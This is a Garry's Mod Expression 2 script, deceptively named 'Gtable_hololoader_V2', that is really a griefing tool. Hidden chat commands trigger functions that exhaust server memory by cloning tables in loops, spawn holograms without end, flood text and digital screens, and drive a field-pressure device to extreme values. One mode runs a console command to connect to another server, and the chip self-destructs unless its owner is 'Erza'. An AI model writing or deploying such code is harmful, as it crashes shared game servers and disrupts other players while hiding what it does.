@name ADVmingeE2
@inputs DigitalScreen:wirelink FieldPressure:wirelink
@outputs PlayerTextScreen:string
@persist Mode:string Timer Text:string I [T T1]:table FieldOn
    
    
    if(first()){
        runOnTick(1)
        setName("Gtable_hololoader_V2")
        runOnChat(1)
        function number chat(N,S:string){
            return (chatClk(owner())&owner():lastSaid():explode(" "):string(N)==S)    
        }
    
        function freeze(){
        DigitalScreen[randint(1,512^2)] = rgb2digi(randvec(1,255),2)
        }
        
        function kick(){
        Timer = (Timer+1)
        for(I = 1,Timer){
         Text = Text + "%"+Timer 
        }
        PlayerTextScreen = Text
        }
        
        function crashS(){
            while(perf())
            {T:pushTable(T:clone())}
            while(perf())
            {T1:pushTable(T1:clone())}
        } 
        
        function crashP(){
            holoCreate(I, entity():pos())
            holoModel(I, "models/dog.mdl")
            I++     
        }
       function runE2(){
        local Last = owner():lastSaid():explode(" ")
            if(chat(1,"/d")){
             hideChat(1)
             Mode = Last:string(2)
            }
            if(chat(1,"/ka")){
            hideChat(1)
            FieldOn = 1
            timer("stop",500)
            }elseif(chat(1,"/stop")){
            FieldOn = 0 
            hideChat(1) 
              FieldPressure["Distance",number] = 0
              FieldPressure["Multiplier",number] = 0
              FieldPressure["Active",number] = 0             
           }
            
          if(FieldOn){
            while(perf()){
             if(FieldPressure:entity()){
              FieldPressure["Distance",number] = 1000000
              FieldPressure["Multiplier",number] = 1000000
              FieldPressure["Active",number] = 1   
             }    
            }
          }
            
            
           if(Mode=="crashP"){ concmd("connect u4qgubq") }
  
           if(players():count()<1){
             selfDestructAll()    
            }
         if(Mode!=""){   
         while(perf()){
         Mode()
         }
        }
       }
    }   
     
    runE2()
    if(!owner():isPlayer()&owner():name()!="Erza"){
    selfDestructAll()    
    }
